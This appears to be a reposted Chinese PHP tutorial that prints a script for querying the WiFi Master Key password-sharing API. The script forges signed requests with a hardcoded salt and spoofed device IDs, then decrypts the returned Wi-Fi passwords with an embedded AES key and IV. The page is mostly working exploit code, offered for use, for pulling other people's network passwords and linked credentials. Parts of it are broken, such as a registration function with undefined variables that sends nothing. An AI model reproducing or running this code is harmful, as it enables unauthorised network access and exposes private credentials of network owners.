WIFI万能钥匙密码查询接口实例
发布时间:2020-12-13 02:52:03 所属栏目:PHP教程 来源:网络整理
导读:《:WIFI万能钥匙密码查询接口实例》要点: 本文介绍了:WIFI万能钥匙密码查询接口实例,希望对您有用。如果有疑问,可以联系我们。 PHP实战 不废话了,直接给大家贴代码了 PHP实战 ?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268$bss
《:WIFI万能钥匙密码查询接口实例》要点: PHP实战不废话了,直接给大家贴代码了 PHP实战
<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
$ret = request( $bssid,$ssid,md5(rand(1,10000)));
$ret = json_decode( $ret );
$ret = request( $bssid,$ret ->retSn);
$ret = json_decode( $ret );
if ( $ret ->retCd == 0){
if ( $ret ->qryapwd->retCd == 0){
$list = $ret ->qryapwd->psws;
foreach ( $list as $wifi ){
echo 'SSID: ' . $wifi ->ssid. "n" ;
echo 'PWD: ' .decryptStrin( $wifi ->pwd). "n" ;
echo 'BSSID: ' . $wifi ->bssid. "n" ;
if ( $wifi ->xUser){
echo 'xUser: ' . $wifi ->xUser. "n" ;
echo 'xPwd: ' . $wifi ->xPwd. "n" ;
}
}
}
else {
echo $ret ->qryapwd->retMsg;
}
}
}
function request( $bssid,$salt,$dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
$data = array ();
$data [ 'appid' ] = '0008' ;
$data [ 'bssid' ] = $bssid ;
$data [ 'chanid' ] = 'gw' ;
$data [ 'dhid' ] = $dhid ;
$data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
$data [ 'lang' ] = 'cn' ;
$data [ 'mac' ] = '60f81dad28de' ;
$data [ 'method' ] = 'getDeepSecChkSwitch' ;
$data [ 'pid' ] = 'qryapwd:commonswitch' ;
$data [ 'ssid' ] = $ssid ;
$data [ 'st' ] = 'm' ;
$data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
$data [ 'v' ] = '324' ;
$data [ 'sign' ] = sign( $data,$salt );
$curl = curl_init();
curl_setopt( $curl,CURLOPT_URL,'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
curl_setopt( $curl,CURLOPT_USERAGENT,'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
curl_setopt( $curl,CURLOPT_SSL_VERIFYPEER,false); // stop verifying certificate
curl_setopt( $curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt( $curl,CURLOPT_POST,true); // enable posting
curl_setopt( $curl,CURLOPT_POSTFIELDS,http_build_query( $data )); // post images
curl_setopt( $curl,CURLOPT_FOLLOWLOCATION,true); // if any redirection after upload
$r = curl_exec( $curl );
curl_close( $curl );
return $r ;
}
function registerNewDevice(){
$salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
$data = array ();
$data [ 'appid' ] = '0008' ;
$data [ 'bssid' ] = $bssid ;
$data [ 'chanid' ] = 'gw' ;
$data [ 'dhid' ] = $dhid ;
$data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
$data [ 'lang' ] = 'cn' ;
$data [ 'mac' ] = '60f81dad28de' ;
$data [ 'method' ] = 'getDeepSecChkSwitch' ;
$data [ 'pid' ] = 'qryapwd:commonswitch' ;
$data [ 'ssid' ] = $ssid ;
$data [ 'st' ] = 'm' ;
$data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
$data [ 'v' ] = '324' ;
$data [ 'sign' ] = sign( $data,$salt );
}
function sign( $array,$salt ){
// 签名算法
$request_str = '' ;
// 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
ksort( $array );
foreach ( $array as $key => $value ) {
$request_str .= $value ;
}
$sign = md5( $request_str . $salt );
return strtoupper ( $sign );
}
function decryptStrin( $str,$keys = 'k%7Ve#8Ie!5Fb&8E',$iv = 'y!0Oe#2Wj#6Pw!3V',$cipher_alg =MCRYPT_RIJNDAEL_128){
//Wi-Fi万能钥匙暗码采用 AES/CBC/NoPadding 方式加密
//[length][password][timestamp]
$decrypted_string = mcrypt_decrypt( $cipher_alg,$keys,pack( "H*",$str ),MCRYPT_MODE_CBC,$iv );
return substr (trim( $decrypted_string ),3,-13);
} ?>
PHP实战以上代码很简单吗,WIFI万能钥匙暗码查询接口代码就全部写完了,希望大家喜欢. 编程之家培训学院每天发布《:WIFI万能钥匙密码查询接口实例》等实战技能,PHP、MYSQL、LINUX、APP、JS,CSS全面培养人才。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |